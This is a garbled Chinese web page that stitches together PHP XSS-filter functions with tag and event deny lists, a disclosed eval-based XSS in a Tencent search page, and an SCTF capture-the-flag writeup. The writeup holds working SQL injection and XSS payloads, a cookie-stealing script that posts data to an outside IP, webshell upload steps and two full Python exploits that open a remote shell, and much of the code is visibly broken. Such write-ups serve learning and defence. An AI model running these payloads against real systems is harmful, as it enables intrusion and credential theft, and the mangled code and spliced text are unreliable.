有没有学习粤语的软件XSS学习资料?

作者:&发布于: 21:13:18&
XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来。。。
原文如下:
The goal of this function is to be a generic function that can be used to parse almost any input and render it XSS safe. For more information on actual XSS attacks, check out . Another excellent site is the
which details each attack and how it works.
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as &javascript&
// note that you have to handle splits with
later since they *are* allowed in some inputs
$val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like &IMG SRC=@avascript:alert('XSS')&
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '!@#$%^&*()';
$search .= '~`&;:?+/={}[]-_|'\';
for ($i = 0; $i & strlen($search); $i++) {
// ;?, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); //
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); //
// now the only remaining whitespace attacks are
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $
for ($i = 0; $i & sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j & strlen($ra[$i]); $j++) {
if ($j & 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
$pattern .= $ra[$i][$j];
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'&x&'.substr($ra[$i], 2); // add in && to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
经过这样的过滤后,应该被攻击的机会会少上很多吧?试试看呢?
Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数
//屏蔽html
function checkhtml($html) {
$html = stripslashes($html);
if(!checkperm('allowhtml')) {
preg_match_all(&/&([^&]+)&/is&, $html, $ms);
$searchs[] = '&';
$replaces[] = '&';
$searchs[] = '&';
$replaces[] = '&';
if($ms[1]) {
$allowtags = 'img|a|font|div|table|tbody|caption|tr|td|th|br
|p|b|strong|i|u|em|span|ol|ul|li|blockquote
|object|param|embed';//允许的标签
$ms[1] = array_unique($ms[1]);
foreach ($ms[1] as $value) {
$searchs[] = &&&.$value.&&&;
$value = shtmlspecialchars($value);
$value = str_replace(array('\','/*'), array('.','/.'), $value);
$skipkeys = array(
'onabort','onactivate','onafterprint','onafterupdate',
'onbeforeactivate','onbeforecopy','onbeforecut',
'onbeforedeactivate','onbeforeeditfocus','onbeforepaste',
'onbeforeprint','onbeforeunload','onbeforeupdate',
'onblur','onbounce','oncellchange','onchange',
'onclick','oncontextmenu','oncontrolselect',
'oncopy','oncut','ondataavailable',
'ondatasetchanged','ondatasetcomplete','ondblclick',
'ondeactivate','ondrag','ondragend',
'ondragenter','ondragleave','ondragover',
'ondragstart','ondrop','onerror','onerrorupdate',
'onfilterchange','onfinish','onfocus','onfocusin',
'onfocusout','onhelp','onkeydown','onkeypress',
'onkeyup','onlayoutcomplete','onload',
'onlosecapture','onmousedown','onmouseenter',
'onmouseleave','onmousemove','onmouseout',
'onmouseover','onmouseup','onmousewheel',
'onmove','onmoveend','onmovestart','onpaste',
'onpropertychange','onreadystatechange','onreset',
'onresize','onresizeend','onresizestart',
'onrowenter','onrowexit','onrowsdelete',
'onrowsinserted','onscroll','onselect',
'onselectionchange','onselectstart','onstart',
'onstop','onsubmit','onunload','javascript',
'script','eval','behaviour','expression',
'style','class'
$skipstr = implode('|', $skipkeys);
$value = preg_replace(array(&/($skipstr)/i&), '.', $value);
if(!preg_match(&/^[/|s]?($allowtags)(s+|$)/is&, $value)) {
$value = '';
$replaces[] = empty($value)?'':&&&.str_replace('&', '&', $value).&&&;
$html = str_replace($searchs, $replaces, $html);
$html = addslashes($html);
相关日志:在学习XSS前我应该学习什么
今天在知乎看到有人问:
在这几天看了余弦的《》。但是其中的代码全都看不懂,所以来知乎请教各位应该在学习XSS前我应该有什么基础?
这个问题我遇到好些,这里在知乎一并回答了,给大家表个态:
可惜了,我没下决心认真照顾好入门的同学。第一次写书也造成书的跳跃性有些夸张,还望吃力的同学谅解,因为我肯定这本书有足够的含金量。
只要你有认真看,尤其是我在第二章说了,基础很关键,我不会去教科书般的介绍基础,其实第一章与第二章是全书的基础。如果理解不好,注定会是半吊子。
但是第二章篇幅很大,要全部看明白又需要很多真正的基础,这些基础就是:javascript, html, dom, css, actionscript等。尤其是javascript。我在第二章内容中实际上是有推荐一些快速入门javascript和dom的书的,比如《》,可能你们没注意。至于actionscript,这是flash安全必掌握的,flash安全属于前端安全一个非常重要分支,只是很多人都是半吊子,没真正去玩,书里我感觉已经介绍够详细了,还扔出个google flash xss 0day,虽然是鸡肋,不过很经典。
我给大家一个建议:
这本书既然都这样了,又有足够含金量,那大家多baidu/google去扩展学习所涉及到的基础,多跟进实战,多融会贯通,大不了加我Q,我也许还能抽空指点一二。我保证你会受益匪浅。
最后,希望大家能独立找到属于自己的一条方法论。
您对本文章有什么意见或着疑问吗?请到您的关注和建议是我们前行的参考和动力&&
您的浏览器不支持嵌入式框架,或者当前配置为不显示嵌入式框架。分享漏洞:
披露状态:
: 细节已通知厂商并且等待厂商处理中
: 厂商已经确认,细节仅向厂商公开
: 细节向核心白帽子及相关领域专家公开
: 细节向普通白帽子公开
: 细节向实习白帽子公开
: 细节向公众公开
简要描述:
前面的教程,说到了显式输出和隐式输出。但是不论怎么样,因为最终javascript都会通过document.write或innerHTML将内容输出到网页中,所以我们总是有办法看到输出到哪里。 但是有时候,我们的输出,最终并没有流向innerHTML或document.write,而是与eval发生了邂逅,我们该怎么挖掘并利用呢?
详细说明:
1. 我们直接上例子。
code 区域/search_app.shtml?key=aaaaa
和前面的不同之处,这次我们搜索源代码和调试工具都看不到任何东西。
2. 这个时候,我们可以看看Console,看看有没有其它有用的东西~~
一般来说,默认情况下,是不会有问题的。我们可以给参数加一些特殊符号。
这里我比较习惯用\,因为这玩意比较好使。当然你也可以用其它比较特殊的符号,比如双引号,单引号,只是被过滤掉的几率比较大。
这个时候,我们看看Console里面,多出了一条错误。
我们可以点右侧,直接定位到错误代码。
3. 点进去后,可以看到是哪个地方出错了。
我们来看看这段代码:
code 区域var getarg = function()
var url = window.location.
var allargs = url.split(&?&)[1];
if (allargs!=null && allargs.indexOf(&=&)&0)
var args = allargs.split(&&&);
for(var i=0; i&args. i++)
var arg = args[i].split(&=&);
eval('this.'+arg[0]+'=&'+arg[1]+'&;');
和上一节教程类似,这段代码,实际上也是一个获取地址栏参数的代码。
比如,地址栏是key= 那么 arg[0] 就是字符串'key', arg[1] 就是字符串 'aaaa';
那么eval这句就是执行的 eval('this.key=&aaaa&;')
这样一来 , this.key=&aaaa&;这句就被执行了。
4. 如果这里我们把 key 换个写法呢?
this.key=&aaaa&;
this.alert(1);//=&aaaa&;
那么是不是将会执行我们的alert(1);呢?
5. 根据上面内容,我们可以构造代码。
code 区域/search_app.shtml?alert(1);//=aaaa
HOHO~,如我们所愿的弹出了。
6. 不知道看完上面的,有没有娃注意到,后面的 aaaa 不是也可以构造吗?
this.key=&aaaa&; 换为
this.key=&aaa&;alert(1);//&;
确实是如此 :)
code 区域/search_app.shtml?key=aaa&;alert(1);//
这个在IE下一样是可以的。
但是这样在chrome下却不行。 原因其实上面一节教程也提到过。
chrome会自动对&, &, & 进行转换。
this.key=&aaa&;alert(1);//&;
this.key=&aaa%22;alert(1);//&;
从而失效。
7.上面就是本篇教程了,我们再来看看题外话。
其实以上问题,不是单独存在的。在另外一个页面也是存在的。
更多内容,参见本篇漏洞修复。
漏洞证明:
见详细说明
修复方案:
参照你们已经修复的类似文件即可。
code 区域/wsearch.shtml
/js/wsearch.js
本来上面这个文件也是存在漏洞的,估计这个位置已经被人报告给腾讯了,因而腾讯加了一次防御。我们看看腾讯的防御措施。
code 区域var getarg = function(){
.... 省略相同部分...
eval('this.' + arg[0] + '=&' + HtmlAttributeEncode(arg[1]) + '&;');
.... 省略相同部分...
也就是说,腾讯这里对后面的arg[1]进行了过滤。
接着,这个问题又被再次报告了,因而前些时候,腾讯又进一步做了修复。
code 区域var getarg = function(){
.... 省略相同部分...
if (arg[0] != null && arg[1] != null && (arg[0] == 'page' || arg[0] == 'count' || arg[0] == 'tag' || arg[0] == 'key' || arg[0] == 'total') )
eval('this.' + arg[0] + '=&' + HtmlAttributeEncode(arg[1]) + '&;');
.... 省略相同部分...
这一次,腾讯对 arg[0]进行了判断。
哈,补了东墙,补西墙。 不过呢?补了这个wsearch.js文件,还有我们现在分析的这个(/js/search_app.js)文件。
版权声明:转载请注明来源 @
厂商回应:
危害等级:低
漏洞Rank:5
确认时间: 10:21
厂商回复:
非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。
最新状态:
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共3人评价):
登陆后才能进行评分
求细节连载URL。。
尼玛,终于等到沙发了。。
我去,沙发没了?这不科学啊。。。
@xsser 剑心,你说的关注连载的神马功能肿么还没放出来呀~~老湿教程出的老快了~~
在搞就出书把 @心伤的瘦子
@se55i0n 等胖子瘦子一哥二哥的xss都看好基本也入门了 oh!yeah!
@小胖胖要减肥 二哥的xss都比较大型,瘦子这个最适合我看~哈哈,不过二哥好像做了个xss教程忘记链接了,你可以在zone里找找~
@se55i0n /example/1-1.php
好人一生平安!
good。。。
登录后才能发表评论,请先当前位置: && 知识详情
【全网首发】SCTF 完美通过攻略(Writeup )
来源:360安全播报
阅读:24346次
以下内容供安全爱好者参考学习,WEB篇由Madimo投稿,其余由西安电子科技大学L战队投稿,均获得稿酬300!即将打入作者账户,投稿请发送邮件至 。WEB篇:PT100首先题目提示在后台,顺手测试了一下admin目录,需要 HTTP Basic 认证。hydra爆破无解,便想 Google 一下看看有没有 IIS 的 Auth Bypass。结果还真有 - -||根据的提示,bypass 的 payload 为:/admin:$i30:$INDEX_ALLOCATION/index.php进入之后是一个登陆,username处疑似注入,提交'出现 WTF,提交\'提示密码错误。可见是注入。卡了好久,这里的 username 限制了四个字符,并且后端有截断。常规的 bypass 方法不起作用。之后在 expdb 找到一篇 paper:,这里有四个字符 bypass 的 payload:'=0#,提交后成功拿到 flag。PT200这道题会玩死人的T^T..打开后看了眼源代码,提示说name=xxx,那就是 XSS 题目咯。并且要求最新版的 Chrome 浏览器,要求就要求吧_(:3各种尝试姿势无果,终于发现了 base 标签可以 bypass(12345是我第三方 JS 输出的)。/index.php?name=asaa%3Cbase%20href=?javascript//%20%3E不过提交后竟然没反应…事后才想起来,后台没有引入外链的 JavaScript…之后官方提示有现成的方法可以用,最终用 link 标签搞定,payload 为:/index.php?name=asaa%3Clink%20rel=import%20href=http://103.224.80.59/2.php%20/%3E得到 Cookie 后去后台提示 403,改了 XFF 后就被 fuck 了T^T..之后尝试获取页面源代码,其中我的 2.php 代码如下:由于浏览器的策略,我们需要指定Access-Control-Allow-Origin为*。然后得到的 HTML 代码写入本地的 txt 中。从 index.php 得到 flag.php?id=1,然后经过各种注入,最后的 payload 就是上面的代码。 有一点就是服务器上安装了不是安全狗的安全狗,正好前几天出了新的报错关键字,正好派上用场~最终 flag:PT300题目给了个 modx 的地址:,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。首先在本地搭建环境,find . -name &*.php& | xargs grep include找到含有 include 的文件。鬼使神差的从 index-ajax.php 开始跟(没想到跟对了)。获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets 目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php存在包含:如果 POST 了 ucfg,如果开头为@FILE:就包含用户提交的 ucfg。构造 payload:q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123POST 到 index-ajax.php 得到 flag。PT400渗透一个 Wordpress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。在页面尾部发现自豪的采用了 SYC SERVICE,打开后是。发现 page 疑似注入,疑似 XSS。第一天没搞定,第二天官方提示 SQLi -& XSS。这个神脑洞o~o...page 注入通过把空格替换成 %0a 绕过,然后提交 payload:/?page=1%0aunion%0aselect%0a0x3cf2f52fc2f3e获得后台地址: 然后通过注入得到管理员的账号和密码: /?page=-1%0aunion%0aselect%0aconcat(UserPass,UserName,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23管理员的 md5 搜一下得到:rootadministrator123,登陆后跳到 upload.php。这里的上传的图片有一个过滤,当图片包含&?的时候,对,你没有看错,有&?的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过&script language=php&phpinfo();&/script&来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路。根目录下发现 Wordpress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然: 数了数这是 6 个字符,那就是assert了,写了个脚本来爆破..这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E 然后再写一个脚本中转:&&运行后连接一句话,在数据库里找到 flag: PT500渗透题最爱。在
搜集各种信息。 Email: happy_/SYC083Domain: Domain: report-查找一下社工裤找到密码为:,接着登陆进去。只有一个上传,我还以为能 getshell,后来发现想多了。卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:&&用户数据如下:之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@的,所以顺手打了个 ,成功访问。经过撞库登陆成功 SYC081 和 SYC042 的账号。 在邮件里得到 VPN 的地址和密码组成。通知:公司VPN地址:默认用户名:工号 (如:SYC001)默认登录密码:工号 + 生日 (如:工号为SYC001,生日为的用户,密码为:SYC)在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。 &接着利用 VPN 访问内网的,发现域名不能访问,改为 IP 即可。 这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录... 想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。 &嗯,写脚本跑www &import requestsheaders = { & &'Cookie': 'PHPSESSID=cfefaa8e1d0a9c9c55337'}url = '/curl.php'url_2 = 'http://10.24.13.37/files/'data = { & &'option': 'GET', & &'url': '', & &'cookie': '', & &'post': '',}for i in range(0,84): & &data['url'] = '%sSYC0%02d/' % (url_2, i) & &print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i最后在 SYC007 处得到 flag。 最后..打这个 CTF 都快打哭我了,两天没洗澡差点发霉.._(:3& lMisc10苦逼的程序员啊手持两把锟斤拷,口中疾呼烫烫烫 下联是什么呢?Flag: 脚踏千朵屯屯屯,笑看万物锘锘锘&RE 50如图,将输入的字符串每位加3后作比较 &s=“6duFg3rJ”[::-1]for i in s:print chr(ord(i)-3),&脑补一个’k’Flag=SCTF{Go0dCra3k}&lPT100看来是要进入后台拿flag。后台可以很快猜出来,但是有个基础认证。Cy大屌说他好像在哪里看到过iis+php可以绕过基础认证。So我百度了一下,找到了相关的文章。成功绕过验证。Referer:&访问接下来是一个不同寻常的注入点,利用的是false注入,在exploitdb上有相关的文章(PS:貌似是完全一样的代码哦,学习了。)Referer:简单描述表结构/*create database injection_use injection_create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));&insert into users values(1, 'admin', 'ad1234');insert into users values(2, 'wh1ant', 'wh1234');insert into users values(3, 'secuholic', 'se1234');&*** login.php ****/&mysql&&select&*&from&+-----+-----------+----------+|&num&|&id&&&&&&&&|&password&|+-----+-----------+----------+|&&&1&|&admin&&&&&|&ad1234&&&||&&&2&|&wh1ant&&&&|&wh1234&&&||&&&3&|&secuholic&|&se1234&&&|+-----+-----------+----------+3&rows&in&set&(0.01&sec)&mysql&&select&*&from&users&where&id='';Empty&set&(0.00&sec)&&mysql&&select&*&from&users&where&id=0;+-----+-----------+----------+|&num&|&id&&&&&&&&|&password&|+-----+-----------+----------+|&&&1&|&admin&&&&&|&ad1234&&&||&&&2&|&wh1ant&&&&|&wh1234&&&||&&&3&|&secuholic&|&se1234&&&|+-----+-----------+----------+3&rows&in&set&(0.00&sec)&Id=0时可以列出所有的记录。而注入点的语句是:Select * from users where id=’+input+’ and password=’+input+’;构造输入id=’-0%23&password=123456因为mysql的强制转换特性,该语句被这样理解了。Select * from where id=’’-0# and password=’123456’;à Select * from users where id=(0-0)#àselect * from users where id=0成功拿到flag。Flag: SCTF{Bypass_Auth_aNd_Easy_SQLi}&lMISC 200题目:&下载得到一个压缩包,里面有张图片,丢hex工具查看。发现存在zip压缩包,于是用foremost分离得到以下文件第一天时zip存在解压密码,3.jpg用stegdetect发现jphide隐写,尝试无果,直接到第二天出现新提示。tips:密钥即为文件名于是尝试用mp3stego,sctf解压4.zip发现不成功,猜想其他解法。查阅资料发现zip伪加密。这是一个无密码的zip文件这是本题的zip,可以发现在存在区别,于是尝试把01-&00,再尝试打开,没有提示输入密码成功解压得到mp3stego。用mp3stego工具对文件进行解密。此处密码为sctf(最初jpg的文件名)。得到玩过MC的一看端口便知道这是minecraft开放的端口,下面应该就是flag的坐标。附图: &&lPT200 我们不是来要0DAY的,其实已经有公开的方法来bypass. tips:XSS+MySQL error-based PS:建议参赛人员使用最新版chrome测试有tip就是好,不用绕弯路了。毕竟我们队友CTF专业空气队员@P总,直接给了我一个xss的payload。首页查看源代码可以看到一个输出的测试页面。然后~Payload:&link rel=import href=/test.php&Test.php的代码是&?phpheader(&Access-Control-Allow-Origin:*&);?&&script&alert(1)&/script&马上开始打管理员的cookie。,这是一个留言板。直接输入&link rel=import href=/test.php&找了个xss平台,修改代码,提交,多输入几次打到了cookie。不知道是成信院哪位大牛的电脑呢~拿到了后台地址,挂上cookie,登陆。发现居然403了。猜测是IP限制,又试了一下ip伪造。结果。。好吧。。想到写(zhao)了个js获取管理员页面的内容。Js内容如下://构建xhrrequest包
function&createXHR&()&{
var&request&=&
if&(window.XMLHttpRequest)&{
&&&&request&=&new&XMLHttpRequest();
&&&&if&(request.overrideMimeType)&{
&&&&&&&&request.overrideMimeType('text/xml');
}&else&if&(window.ActiveXObject)&{
&&&&&var&versions&=&['Microsoft.XMLHTTP',&'MSXML.XMLHTTP',&&'Microsoft.XMLHTTP',&'Msxml2.XMLHTTP.7.0',&'Msxml2.XMLHTTP.6.0',&&'Msxml2.XMLHTTP.5.0',&'Msxml2.XMLHTTP.4.0',&'MSXML2.XMLHTTP.3.0',&&'MSXML2.XMLHTTP'];
&&&&for&(var&i&=&0;&i&&&versions.&i++)&{
&&&&&&&&try&{
&&&&&&&&&&&&request&=&new&ActiveXObject(versions);
&&&&&&&&}&catch&(e)&{}
function&get&(xhr,&url)&{
&&&&xhr.open(&GET&,&url,&false);
&&&&xhr.send();
&&&&return&xhr.responseT
var&xhr&=&createXHR();
var&x&=&get(xhr,'/ebcb6eb6ef87cdf5d678c3/');
get(xhr,&http://test/login.php?key=&+escape(x));&其中login.php是用于把传回的代码写入我本地的一个文件中。返回结果如下:根据题目的tip,这应该是一个报错注入。使用了网络上的几个老的报错注入的payload,结果都没成功。(主办方自己写了一个过滤脚本)&一些新型的报错注入payload又出现各种问题(我本机测试可以用的,服务器就不能用;服务器可以用的,我本机不能测试成功,因为主办方服务器mysql版本为5.1,我本机为5.6)最终使用payload如下:/ebcb6eb6ef87cdf5d678c3/flag.php?id=1 &and (select 1 from (select count(*),concat((select thisisflag from flag &limit 0,1),left(rand(),3))x from information_schema.tables group by x) &as yinfu)过程不表,flag在当前库的flag表下thisisflag字段下。修改js,给管理员发留言。得到返回:FLAG:SCTF{x55_And_SqLinject}PS:报错注入payload大全:&&&lPwn200程序需要两次输入,第一次的输入有一字节的溢出,可以修改第二次输入的长度。程序后面有个strlen判断输入长度,用/x00截断即可绕过。经过以一次一字节溢出修改nbytes变量大小,修改后第二次输入出现栈溢出。Exp如下:#coding:utf-8
__author__&=&'Dazdingo'
from&socket&import&*
import&struct
import&time
import&threading
import&sys
is_recv&=&True
sock_host&=&'192.168.206.130'
sock_port&=&8080
S&=&socket(AF_INET,&SOCK_STREAM)
def&send(ss,&tail&=&''):
&&global&S
&&if&tail:
&&&&ss&+=&tail
&&print&ss
&&S.send(ss)
def&outputrecv():
&&global&S
&&while&1:
&&&&if&is_recv:
&&&&&&i&=&&S.recv(1024)
&&&&&&if&i:
&&&&&&&&sys.stdout.write(i)
def&start_recv():
&&#start&recv
&&t&=&threading.Thread(target&=&outputrecv,&&args&=&())
&&t.daemon&=&True
&&t.start()
def&get_shell():
&&#start&recv
&&start_recv()
&&global&S
&&while&1:
&&&&time.sleep(0.1)
&&&&ss&=&raw_input()&+&'\n'
&&&&S.send(ss)
def&main():
&&global&S
&&if&len(sys.argv)&==&3:
&&&&sock_host&=&sys.argv[1]
&&&&sock_port&=&int(sys.argv[2])
&&S.connect((sock_host,&sock_port))
&&a&=&raw_input('pause')
&&print&S.recv(1024)
&&send('syclover\x\xf0')
&&print&S.recv(1024)
&&ebp&=&'\x20\x99\x04\x08'
&&libc&=&'\x5c\x98\x04\x08'&#__libc_start_main
&&retaddr1&=&'\xa0\x83\x04\x08'&#&write
&&retaddr2&=&'\xbe\x85\x04\x08'&#ret
&&pop_ebp_ret&=&'\xc0\x85\x04\x08'
&&retaddr3&=&'\x60\x83\x04\x08'&#&read
&&retaddr4&=&'\xd2\x85\x04\x08'&#leave&ret
&&&send('A'*0x9c&+&ebp&+&retaddr1&+&retaddr2&+&'\x01\x00\x00\x00'&+&libc&+&&'\x04\x00\x00\x00'&+pop_ebp_ret&+&ebp&+&retaddr3&+&retaddr4&+&&'\x00\x00\x00\x00'&+&'\x24\x99\x04\x08'&+&'\xf0\x00\x00\x00'&)
&&time.sleep(1)
&&l&=&S.recv(1024)
&&libcaddr&=&struct.unpack('I',&l)[0]
&&print&'__libc_start_main:',hex(libcaddr)
&&system&=&libcaddr&+&0x26050
&&send(struct.pack('I',&system)&+&'AAAA'+'\x30\x99\x04\x08'&+&'/bin/sh\x00')
&&get_shell()
if&__name__&==&'__main__':
&&main()&lCODE200&题目的意思是:知道一个数,分解为若干(-2)^i的和,i是位数,求i的组合。如eg1:202&8 7 6 4 3 2 1202=(-2)^8+(-2)^7+(-2)^6+(-2)^4+(-2)^3+(-2)^2+(-2)^1=256-128+64+16-8+4-2eg2:515&10 9 2 1 0515=(-2)^10+(-2)^9+(-2)^2+(-2)^1+(-2)^0解法与10进制转2进制类似,不过要注意每位的正负不同代码:from&socket&import&*
HOST='218.2.197.248'
PORT=10007
s&=&socket(AF_INET,&SOCK_STREAM)
s.connect((HOST,PORT))
while&True:
&&&&&&&&&input=int(s.recv(1024),10)
&&&&&&&&&print&input
&&&&&&&&&step=0
&&&&&&&&&ans=''
&&&&&&&&&list=[]
&&&&&&&&&while&input:
&&&&&&&&&&&&&&&&&&&if&step%2==0:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&flag=-1
&&&&&&&&&&&&&&&&&&&else:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&flag=1
&&&&&&&&&&&&&&&&&&&if&input%2==1:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&input=input+flag
&&&&&&&&&&&&&&&&&&&&&&&&&&&&list.append(str(step))
&&&&&&&&&&&&&&&&&&&#else:
&&&&&&&&&&&&&&&&&&&input=input/2
&&&&&&&&&&&&&&&&&&&step=step+1
&&&&&&&&&list.reverse()
&&&&&&&&&for&i&in&list:
&&&&&&&&&&&&&&&&&&ans=ans+'&'+&i
&&&&&&&&&print&ans
&&&&&&&&&s.send(ans)
s.close()&&lMisc300内网攻击数据包分析 FLAG格式: SCTF{syclover用户的明文}&LINK:/misc/b48d97c14a0d586ca14e2f.pcap下载后发现这个包很小,主要关注到smb协议的数据包。按照题目的意思,需要获取到syclover的明文密码,这应该就是一个内网的smb劫持攻击了,查看了smb包里面的challenge值确实也是7788抓到hash是:LMHASH:9e14b1e290fab9c8f9fNTHASH:013f3cb06ba848f98a6ae6cb4ae45cda73b475去下载了个16G的彩虹表。开始halflmchall hash攻击。使用工具rcracki_mt先猜解前几位(不区分大小写)很快破解出结果前七位:NETLMIS接下来继续使用破解出来的字符串做种子破解整个密码,使用到john-ntlm.pl,现将hash保存成如下格式:syclover::ROOT-53DD5427BC:013f3cb06ba848f98a6ae6cb4ae45cda73b475:9e14b1e290fab9c8f9f8执行:./john-netntlm.pl& --seed &NETLMIS& --file /tmp/1.txt得到最终的用户密码为:NetLMis666那么FLAG:SCTF{NetLMis666}本解题方法大量参考看雪某文章,原帖贴出:&pwn300在print message里有个格式化字符串漏洞,同时有个把字符串copy到栈里有利于利用。&Exp如下#coding:utf-8
__author__&=&'Dazdingo'
from&socket&import&*
import&struct
import&time
import&threading
import&sys
is_recv&=&True
sock_host&=&'192.168.206.130'
sock_port&=&8080
S&=&socket(AF_INET,&SOCK_STREAM)
def&send(ss,&tail&=&'',&r&=&False):
&&global&S
&&if&tail:
&&&&ss&+=&tail
&&print&ss
&&S.send(ss)
&&&&print&S.recv(1024)
def&recv_until(str):
&&data&=&S.recv(1024)
&&e&=&data.find(str)
&&while&1:
&&&&if&e&==&-1:
&&&&&&data&=&S.recv(1025)
&&&&&&e&=&data.find(str)
&&&&&&break
&&return&data,&e
def&outputrecv():
&&global&S
&&while&1:
&&&&if&is_recv:
&&&&&&i&=&&S.recv(1024)
&&&&&&if&i:
&&&&&&&&sys.stdout.write(i)
def&start_recv():
&&#start&recv
&&t&=&threading.Thread(target&=&outputrecv,&&args&=&())
&&t.daemon&=&True
&&t.start()
def&get_shell():
&&#start&recv
&&start_recv()
&&global&S
&&while&1:
&&&&time.sleep(0.1)
&&&&ss&=&raw_input()&+&'\n'
&&&&S.send(ss)
def&main():
&&global&S
&&if&len(sys.argv)&==&3:
&&&&sock_host&=&sys.argv[1]
&&&&sock_port&=&int(sys.argv[2])
&&S.connect((sock_host,&sock_port))
&&a&=&raw_input('pause')
&&print&S.recv(1024)
&&send('2\n',&r&=&1)
&&send('%279$x\n',&r&=&1)
&&send('3\n')
&&data,&e&=&recv_until('message&is:')
&&print&data,&e
&&leak_memory&=&int(data[e+11:e+19],&16)
&&send('2\n',&r&=&1)
&&send('%266$x\n',&r&=&1)
&&send('3\n')
&&data,&e&=&recv_until('message&is:')
&&print&data,&e
&&ebp&=&int(data[e+11:e+19],&16)
&&call_system&=&leak_memory&+&0x25E24
&&s&=&hex(call_system)
&&print&'call_system,&ebp&is',&s,&hex(ebp)
&&ret_add1&&=&struct.pack('I',&ebp-0x2c)
&&ret_add2&&=&struct.pack('I',&ebp-0x2a)
&&arg0&=&struct.pack('I',&ebp-0x24)
&&arg1&=&struct.pack('I',&ebp-0x20)
&&num_send1&=&int(s[6:10],&16)
&&num_send2&=&int(s[2:6],&16)&-&num_send1
&&send('2\n',&r&=&1)
&&&send('%16$n%17$n%'+&str(num_send1)&+&'x%18$n%'&+&str(num_send2)&+&&'x%19$n'&+&'\x20'*(12-len(str(num_send1))-len(str(num_send2)))&+&arg0&+&&arg1&+ret_add1&+ret_add2&+&'\n',&r&=&1)
&&send('3\n',&r&=&1)
&&get_shell()
if&__name__&==&'__main__':
